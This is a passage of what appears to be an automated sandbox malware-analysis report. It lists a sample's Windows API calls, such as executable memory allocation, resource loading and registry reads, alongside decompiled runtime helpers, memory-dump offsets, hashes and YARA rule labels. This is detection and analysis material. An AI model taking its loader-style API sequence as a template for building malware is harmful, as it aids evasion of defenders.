SafeArrayCreateVector.OLEAUT32(00000008,00000000,?), ref: 00401210
SysAllocString.OLEAUT32(?), ref: 00401232
SafeArrayPutElement.OLEAUT32(00000000,?,00000000), ref: 0040123E
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 0040125B
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 0040127C
SafeArrayDestroy.OLEAUT32(?), ref: 004012C4
SafeArrayDestroy.OLEAUT32(00000000), ref: 004012CF
SafeArrayCreate.OLEAUT32(0000000C,00000001,?), ref: 00401320
CoInitialize.OLE32(00000000), ref: 00401330
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00401350
VariantInit.OLEAUT32(?), ref: 0040141B
VariantInit.OLEAUT32(?), ref: 00401424
VariantClear.OLEAUT32(?), ref: 00401446
VariantClear.OLEAUT32(?), ref: 00401458
VariantClear.OLEAUT32(?), ref: 00401461
GetModuleHandleW.KERNEL32(00000000,00000001,0000000A,00000000,?,00000000,?,?,80004003), ref: 0040149C
FindResourceW.KERNEL32(00000000,?,?,80004003), ref: 0040149F
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014AE
LoadResource.KERNEL32(00000000,?,?,80004003), ref: 004014B1
LockResource.KERNEL32(00000000,?,?,80004003), ref: 004014BE
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014CA
SizeofResource.KERNEL32(00000000,?,?,80004003), ref: 004014CD
FreeResource.KERNEL32(00000000,?,?,80004003), ref: 004014E6
ExitProcess.KERNEL32 ref: 004014EE

Strings

v4.0.30319, xrefs: 00401053

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ArraySafe$CreateResourceVariant$ClearHandleModule$AllocCommandDataDestroyElementInitLineVector$AccessArgvExitFindFreeInitializeInstanceLoadLockProcessSizeofStringUnaccessVirtual
String ID: v4.0.30319
API String ID: 3516860096-3152434051
Opcode ID: 00719b51f443e9a3685c249f0c97cee5297892f6cc812f7aef6c585a0b6e62b0
Instruction ID: 3291d2e33e7834716b1d42c9feb70b51c6e8fa37951840893cbb60070e47f959
Opcode Fuzzy Hash: 00719b51f443e9a3685c249f0c97cee5297892f6cc812f7aef6c585a0b6e62b0
Instruction Fuzzy Hash: 70E19F759053459FCB02CFA4C894AAEBFB5BF4A310B1941EEE445FB2A2D7389C05CB25

Uniqueness

Uniqueness Score: -1.00%

Function 004055C5, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004055C5(void* __ecx) {
				void* _t6;
				void* _t14;
				void* _t18;
				WCHAR* _t19;

				_t14 = __ecx;
				_t19 = GetEnvironmentStringsW();
				if(_t19 != 0) {
					_t12 = (E0040558E(_t19) - _t19 >> 1) + (E0040558E(_t19) - _t19 >> 1);
					_t6 = E00403E3D(_t14, (E0040558E(_t19) - _t19 >> 1) + (E0040558E(_t19) - _t19 >> 1)); // executed
					_t18 = _t6;
					if(_t18 != 0) {
						E0040ACF0(_t18, _t19, _t12);
					}
					E00403E03(0);
					FreeEnvironmentStringsW(_t19);
				} else {
					_t18 = 0;
				}
				return _t18;
			}

0x004055c5
0x004055cf
0x004055d3
0x004055e4
0x004055e8
0x004055ed
0x004055f3
0x004055f8
0x004055fd
0x00405602
0x00405609
0x004055d5
0x004055d5
0x004055d5
0x00405614

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004055C9
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00405609

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 8cd0ade3987da643afe372fdbc3b04457b893c98baeb1de225cc927f8a7ffae8
Instruction ID: c5c85d496f4b9afafe33008ffa5735024e7f647e2ae8fec8aafe46d04be69a25
Opcode Fuzzy Hash: 8cd0ade3987da643afe372fdbc3b04457b893c98baeb1de225cc927f8a7ffae8
Instruction Fuzzy Hash: E7E0E5371049206BD22127267C8AA6B2A1DCFC17B5765063BF809B61C2AE3D8E0208FD

Uniqueness

Uniqueness Score: -1.00%

Function 012EF0C8, Relevance: 1.7, APIs: 1, Instructions: 207libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012EF159

Memory Dump Source

Source File: 00000001.00000002.624998590.00000000012E0000.00000040.00000001.sdmp, Offset: 012E0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4824bf0aaec62e68e0076a3bfb6473eb0f5df3ef2282898fb6cca23262228079
Instruction ID: 0fe81a15c16e74c494cf7778fb98ce627f5eff3bd8705c328515b1c105db6334
Opcode Fuzzy Hash: 4824bf0aaec62e68e0076a3bfb6473eb0f5df3ef2282898fb6cca23262228079
Instruction Fuzzy Hash: B2716D30A20206DFDB14ABB9D9597AEBBF2AF84304F508829D515EB394DF789C45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012EE119, Relevance: 1.6, APIs: 1, Instructions: 142libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012EE187

Memory Dump Source

Source File: 00000001.00000002.624998590.00000000012E0000.00000040.00000001.sdmp, Offset: 012E0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 664ca64bd63b151d14ed1b2361cdb90536458dddbc4756891dc24a13a64e9e51
Instruction ID: c866d60fdfdd63ab3305459739af8dab31a83dcd7c5cfe46d018ba5016f9310b
Opcode Fuzzy Hash: 664ca64bd63b151d14ed1b2361cdb90536458dddbc4756891dc24a13a64e9e51
Instruction Fuzzy Hash: 1A51B331A102069FCB14EFB4D898AEEB7F6BF84204F148939D4129B394EF74ED458B61

Uniqueness

Uniqueness Score: -1.00%

Function 0100E2B8, Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623533645.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3656c8a74328de15ec8fcf913775b2ee9b4d1c8242c77427b60c8842e0542c4b
Instruction ID: 97e4d900e9247f0d65f5c4d36b07cd80a99f79cfcf74c38b2ea8b940741d3346
Opcode Fuzzy Hash: 3656c8a74328de15ec8fcf913775b2ee9b4d1c8242c77427b60c8842e0542c4b
Instruction Fuzzy Hash: B5413431E043558FDB05CF79D8046AEBBF1EF89224F1585AEC448E7291DB749845CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 01005F38, Relevance: 1.6, APIs: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 01006041

Memory Dump Source

Source File: 00000001.00000002.623533645.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ac578cb31f3e2c427f16579c8e4db497873ab401251db406d2e1334132c68ded
Instruction ID: b6dbb657bd32efc070abcf662e7f98cbda7e82763ef9e185c7f9ebf50d5397cf
Opcode Fuzzy Hash: ac578cb31f3e2c427f16579c8e4db497873ab401251db406d2e1334132c68ded
Instruction Fuzzy Hash: 1F4124B1E40218DFDB11CFA9C884A9EBBF5BF48314F14806AE958AB350D7799805CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01005C80, Relevance: 1.6, APIs: 1, Instructions: 111registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000000,?,00000001,?), ref: 01005D84

Memory Dump Source

Source File: 00000001.00000002.623533645.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e1f6077e07b95fcfc9ec4c6c7519b26d973732d8d1e54a04e18f4790a57e7bed
Instruction ID: 46186e1a145961b2cf02d86ad7491d2ad07f4b1b7dbd87fbbde056399b316434
Opcode Fuzzy Hash: e1f6077e07b95fcfc9ec4c6c7519b26d973732d8d1e54a04e18f4790a57e7bed
Instruction Fuzzy Hash: 804167709013488FEB10CFA9C548A9EFFF5AF49304F24C16AE808AB341C7759845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0100BB88, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,0100E30A), ref: 0100E3F7

Memory Dump Source

Source File: 00000001.00000002.623533645.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: b5aad769858fb8c6c2fb83afc5cf80dc0b2b24a88440784948865e5b2ce97dd3
Instruction ID: e114a12d799bfa4264c5d9f033a720e6639000ae6cb921edb969eaa4cffc91a8
Opcode Fuzzy Hash: b5aad769858fb8c6c2fb83afc5cf80dc0b2b24a88440784948865e5b2ce97dd3
Instruction Fuzzy Hash: 501144B1D006199BDB10CF9AD448BDEFBF4EB48224F15852AD918B7740D378A905CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 00403E3D, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00403E3D(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00404831())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x4132b0, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00403829();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E004068FD(_t7, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00403e3d
0x00403e43
0x00403e49
0x00403e7b
0x00403e80
0x00403e86
0x00000000
0x00403e86
0x00403e4d
0x00403e4f
0x00403e4f
0x00403e66
0x00403e6f
0x00403e77
0x00000000
0x00000000
0x00403e57
0x00403e59
0x00000000
0x00000000
0x00403e5c
0x00403e61
0x00403e62
0x00403e64
0x00000000
0x00000000
0x00403e64
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,00407C67,?,00000000,?,004067DA,?,00000004,?,?,?,?,00403B03), ref: 00403E6F

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a4c9c6b9c171d7e3068f9dcb93680387a8cae48819217d3cebbdef174e207782
Instruction ID: 2c5ed35c3885d6f2518923907421e71a1374dda36297243b1d9f5d3b1e0eb56a
Opcode Fuzzy Hash: a4c9c6b9c171d7e3068f9dcb93680387a8cae48819217d3cebbdef174e207782
Instruction Fuzzy Hash: 54E03922505222A6D6213F6ADC04F5B7E4C9F817A2F158777AD15B62D0CB389F0181ED

Uniqueness

Uniqueness Score: -1.00%

Function 0101D258, Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

P@.k, xrefs: 0101D2DE

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID: P@.k
API String ID: 0-1270148226
Opcode ID: fb654b9ac88de6b3501c881df6334493032e70d5c8e850b10358240a95e5c3da
Instruction ID: 745bb66405476d5262e303dbbff2549fb180055b466218975fb554a3fe569dc0
Opcode Fuzzy Hash: fb654b9ac88de6b3501c881df6334493032e70d5c8e850b10358240a95e5c3da
Instruction Fuzzy Hash: 2231C471B002059FCB14AFB4D4596AEBBF6AF88244B14857DD406EB394DF389C46CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0101D268, Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

P@.k, xrefs: 0101D2DE

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID: P@.k
API String ID: 0-1270148226
Opcode ID: d6f772d93efe8c8638a378ff7689591f2906e2f258ef31e132e85cadbde492c4
Instruction ID: 3e01b53b1614f4bc0dab665e491572fff9d67c3833e7645cba388f43e020e811
Opcode Fuzzy Hash: d6f772d93efe8c8638a378ff7689591f2906e2f258ef31e132e85cadbde492c4
Instruction Fuzzy Hash: 7731AE31B002058FDB58ABB4D4596AEBBF7AF88284B14857DD406EB394DF389C468BD1

Uniqueness

Uniqueness Score: -1.00%

Function 01013E28, Relevance: .8, Instructions: 830COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7a46f6dc8c3396ce9680a69a3c57185717f80fe335cf3c599fd8a43963e6a8c
Instruction ID: 901362eeef0a0d9f66e861c81002ad68d34d412b35abb925695e7da5f2aabe8a
Opcode Fuzzy Hash: b7a46f6dc8c3396ce9680a69a3c57185717f80fe335cf3c599fd8a43963e6a8c
Instruction Fuzzy Hash: B5726130A041098FEB689BA4C860BDEB7B7FF89304F1080A9D50AAB795DF359D45DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0101DC30, Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45caa225e9370cb94ae8e604ae3040fb212dbaf1f1d00ea7134c826c3e2ed2e
Instruction ID: 28e3095a8e6e8e1054386a79a04bacc172695e3799011213db3c0c8a8c8bac8c
Opcode Fuzzy Hash: e45caa225e9370cb94ae8e604ae3040fb212dbaf1f1d00ea7134c826c3e2ed2e
Instruction Fuzzy Hash: FA328C30A00205CFDB15ABB4D458AAEBBF2FF84315F148968E9169B394DB79DC86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0101BA70, Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 700f1007db7a7eae1cac179b23bf587b11e393352cbb101395c85717eb3ce921
Instruction ID: a024d058777f2f4c87ad460b77491fe8bc49f24e69a71c1325496e24b80f36cf
Opcode Fuzzy Hash: 700f1007db7a7eae1cac179b23bf587b11e393352cbb101395c85717eb3ce921
Instruction Fuzzy Hash: 2B12BC30B402068FDB14ABB4D8587ADBBF2AF85314F148569E4259B3D8DF78DC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0101AC6F, Relevance: .4, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca0e61ebef312f909d82741bb438d72462293684e331d17eeb19f1e3bfac2725
Instruction ID: 93d1dc562d638592159cfaefa13f48aa3c481c0523cc34ecaea2486754119eef
Opcode Fuzzy Hash: ca0e61ebef312f909d82741bb438d72462293684e331d17eeb19f1e3bfac2725
Instruction Fuzzy Hash: AEE17B34B003458FDB15ABB8C4546AEBBF2AF85304F108868D515DB39AEF78DC4ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 010116C8, Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bfee0578001ef69b1d03ddfeb934d8b4fc1753755b45a69d5e0696b7855cb8
Instruction ID: befb69695c9ed4f3754796e761970caa8d862419c3029bfb89db6d7f7f9bd89c
Opcode Fuzzy Hash: 34bfee0578001ef69b1d03ddfeb934d8b4fc1753755b45a69d5e0696b7855cb8
Instruction Fuzzy Hash: 4BC1E0353042159FDB199B78D894A6E7BF2FF89204F0485A9EA46CB389DF38CC46C791

Uniqueness

Uniqueness Score: -1.00%

Function 01014C78, Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0816ffcf311ebdd905f9024e3642eed57b16899ea0d0b2b920d52b7a6160c7
Instruction ID: 42db7fe61c7cb9c6005dea373d82637f80f56da871cde5ee71bea4fdfc4c7a2b
Opcode Fuzzy Hash: 8b0816ffcf311ebdd905f9024e3642eed57b16899ea0d0b2b920d52b7a6160c7
Instruction Fuzzy Hash: 1ED1E775A001158FCB15CFA9D988DADBBF6BF88310B1A84A9E545EB376CB34EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01014B57, Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f381a2778b842050e4d4d51b598dad7c10c63b07a0cafd19fa240992584fde1
Instruction ID: 9750024211bd6ad9992634bc47e781a0b7a8742a0db16fc570f849d622daf78c
Opcode Fuzzy Hash: 9f381a2778b842050e4d4d51b598dad7c10c63b07a0cafd19fa240992584fde1
Instruction Fuzzy Hash: 70D1F875E001198FCB05CFA9C98899EBBF6BF88310B1A84A9E555EB375CB34EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01012D40, Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6151cf1f635f2630ad30cfea1ce95ee7983997f8f97ebe8f3151f880e3a3ed09
Instruction ID: db8953e2a7af8aa4731e0698f27e959d165a7e6462ee85e579a632a2cc8ae721
Opcode Fuzzy Hash: 6151cf1f635f2630ad30cfea1ce95ee7983997f8f97ebe8f3151f880e3a3ed09
Instruction Fuzzy Hash: 15C17C30A002099FCB15DFA9C884ADEBBF6BF48314F148599E985EB369D734EC44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0101A720, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7218de4bb6792683b2e2442bd05316dc037373bd8a9f3e884fc0dd9ac07e33c5
Instruction ID: b9b51030b7ad593bca07e0d0dd9a466d939fbb0d718a05131e085db58b36ab05
Opcode Fuzzy Hash: 7218de4bb6792683b2e2442bd05316dc037373bd8a9f3e884fc0dd9ac07e33c5
Instruction Fuzzy Hash: 09A17775B01244CFDB08DBB8D548AADBBF2AF88314F148568E516DB3A5DB38DC46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0101F10F, Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da97eae26bd9754a9ce8d37206fec73bda437fcafe402bfbabd52b2dab746cc6
Instruction ID: f4106110ec28c68f2f1990a584fcf60f969dd2e6f4fe5defddf6ee8915244540
Opcode Fuzzy Hash: da97eae26bd9754a9ce8d37206fec73bda437fcafe402bfbabd52b2dab746cc6
Instruction Fuzzy Hash: F3812630B042468FDB51CB38C44479DBBE2AF85304F28C1AAD5499F39ADB7ADC49C762

Uniqueness

Uniqueness Score: -1.00%

Function 01011AC0, Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f3f4119df6a0c50b3173dc28f20d0ecf98e98bf870cbc5be15788739fc9da4
Instruction ID: 1467926e3cf5b111fe6e6ccab588a54f38838f765fa12526adbdac477c3b6369
Opcode Fuzzy Hash: 87f3f4119df6a0c50b3173dc28f20d0ecf98e98bf870cbc5be15788739fc9da4
Instruction Fuzzy Hash: 2381D034B00209CFDB5CDF78C4849AEBBF2BF89244B1581AAD646DB369D739D841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01013AC8, Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c85ea7e9e814a1373fa28b22421512084df98af048a1fa7fad3a68be5d71693
Instruction ID: 393e7f54fa95e73139b8be318c5c231e4f5d61e279a387e3e0d1619f22c87bdd
Opcode Fuzzy Hash: 9c85ea7e9e814a1373fa28b22421512084df98af048a1fa7fad3a68be5d71693
Instruction Fuzzy Hash: EC51AF313041159FD754DF3EC888A6BBBE9FF8962070544BAE646CF266EB29DC01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0101AA9F, Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3df1194012fcded43e36362375c2653610ee3f99e49733b1a0b733afb1165f
Instruction ID: e2c257618c19893e5fd0655c959ee86ece172ebfd647c1e3acc50db48f6b26c4
Opcode Fuzzy Hash: 0c3df1194012fcded43e36362375c2653610ee3f99e49733b1a0b733afb1165f
Instruction Fuzzy Hash: 0241F630B01185CFDF659AB9D88036E77A7FB85214F204C79D449DB29ADB3CDC458752

Uniqueness

Uniqueness Score: -1.00%

Function 0101CB67, Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b1f2378b60127102d7f9a98d99445522428502ae4b0f6b80224df3e442eab95
Instruction ID: f4077501d554b95126f2badea1c41b6d87e3a4599cb3d104db17e8ed20829a94
Opcode Fuzzy Hash: 5b1f2378b60127102d7f9a98d99445522428502ae4b0f6b80224df3e442eab95
Instruction Fuzzy Hash: 7C519478910208DFCB64EFF4E49549DFBB6FB88304B108926D815AB764EB78AD45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 010138D8, Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9344686fe1054889cda7ca72560e6a53fba2180023cecccc27943df9fcfc0da2
Instruction ID: 1cff768cbd053d028d46f3305b193143f94f127daf46479a40632801f2ec1403
Opcode Fuzzy Hash: 9344686fe1054889cda7ca72560e6a53fba2180023cecccc27943df9fcfc0da2
Instruction Fuzzy Hash: BA4146757002199FDB059F69C888AAE7BB6FF88320F0000A9F9469B3B5CB35DC44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010114A8, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a5d333e73fce7b12341fb37ee3e9595a619ece08b53c095f47acd562304146c
Instruction ID: 3f9abe4c928408cab0fa01abef0ae3633bc316a899e11cbcf876f192d2afcf77
Opcode Fuzzy Hash: 3a5d333e73fce7b12341fb37ee3e9595a619ece08b53c095f47acd562304146c
Instruction Fuzzy Hash: EB419531200209EFCF469F69E854AAE7FE6EF88300F04407AFA56C7255DB39CD659B91

Uniqueness

Uniqueness Score: -1.00%

Function 010132D8, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39e1f458b7fc8e30a5d4c66d5bfabbfd8885e325ad85f1a4afd563344859850
Instruction ID: 775a08e5c7c9ed8f50538692c9d733cc77158df147903f2c7b321c338e0458ca
Opcode Fuzzy Hash: f39e1f458b7fc8e30a5d4c66d5bfabbfd8885e325ad85f1a4afd563344859850
Instruction Fuzzy Hash: A641A630600205DFCB14CF69C584AAEBBF6FF48320B14C555E996DB355DB34E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01013D08, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92bd676d710c03d474cb87f8e880d3559a86aff9fd0a2438af244c561f519ba
Instruction ID: 172045043f24dbe87b775194986da03c836c8e1e389b2e05cfb4c2a79fb1c9f2
Opcode Fuzzy Hash: c92bd676d710c03d474cb87f8e880d3559a86aff9fd0a2438af244c561f519ba
Instruction Fuzzy Hash: 1E21D6303002185BDB6A2639A89453E3FDBFFC462975480BAE942DF39ADF6DCC459391

Uniqueness

Uniqueness Score: -1.00%

Function 010154F1, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 486816f066b71828b754c44c509d45cdb11ae3920e9954f6b96ff1ee4ec71928
Instruction ID: 986c404451d85b21463e2ebd5f20c131287af3da6d7318bf3bcd791be2cae2f4
Opcode Fuzzy Hash: 486816f066b71828b754c44c509d45cdb11ae3920e9954f6b96ff1ee4ec71928
Instruction Fuzzy Hash: 11317E313052559FCB069F69E86466E3BF3EFCA241B05806AE945CF295DB3CCC058B51

Uniqueness

Uniqueness Score: -1.00%

Function 01013D18, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2aec0a8beec9e732a7dedde49caaca11547b2b1a579659f718c3e1fb317b93c
Instruction ID: a202ade29f9ad3535e263f1e654d803792a1bd402918b15dafaaec1aba30fa50
Opcode Fuzzy Hash: e2aec0a8beec9e732a7dedde49caaca11547b2b1a579659f718c3e1fb317b93c
Instruction Fuzzy Hash: A12183303002084BDB592639A89567E3ADBBFC4629F5480B9E542CF399DF6ECC469381

Uniqueness

Uniqueness Score: -1.00%

Function 01013C10, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c12b245edd4192da0c8ee6dcd7b4c58b82b552d3ef10885082e3a2d64b036ad
Instruction ID: 9a84e801f7b1887e296614d792583da11f49c19420f0d3fb288fc32fc2ce4f6d
Opcode Fuzzy Hash: 3c12b245edd4192da0c8ee6dcd7b4c58b82b552d3ef10885082e3a2d64b036ad
Instruction Fuzzy Hash: 2F21B43070425E8BD750CF6B984066B7FEAFB85260F054466E986CF259DB39C844CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0101D13F, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 221580d1c880cfeeb28b19b2e4101832d47c8c06584c0be21df24d73560a8059
Instruction ID: e98e76db8c9a54cf239570ec93f0c4ba0d066b078df4b56db682fbfa8436deae
Opcode Fuzzy Hash: 221580d1c880cfeeb28b19b2e4101832d47c8c06584c0be21df24d73560a8059
Instruction Fuzzy Hash: 3A21B134B042159FCB51DFB8D8489AE7BF2FF89210B108576D919D7395EB38DC068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0101EE70, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c28b02c0b835e08a2eeba62f66f50a15d2df50c86837485c0670c828ea580cf
Instruction ID: bb4e58f6d501a0b1f7cf8876c615e2e51720cac40da36485139af0b744f5e5db
Opcode Fuzzy Hash: 5c28b02c0b835e08a2eeba62f66f50a15d2df50c86837485c0670c828ea580cf
Instruction Fuzzy Hash: F421A331B052159FCB41EBB8D8049AEB7F5BB89310B50847AD959E7394DF3CDC028BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0101F160, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
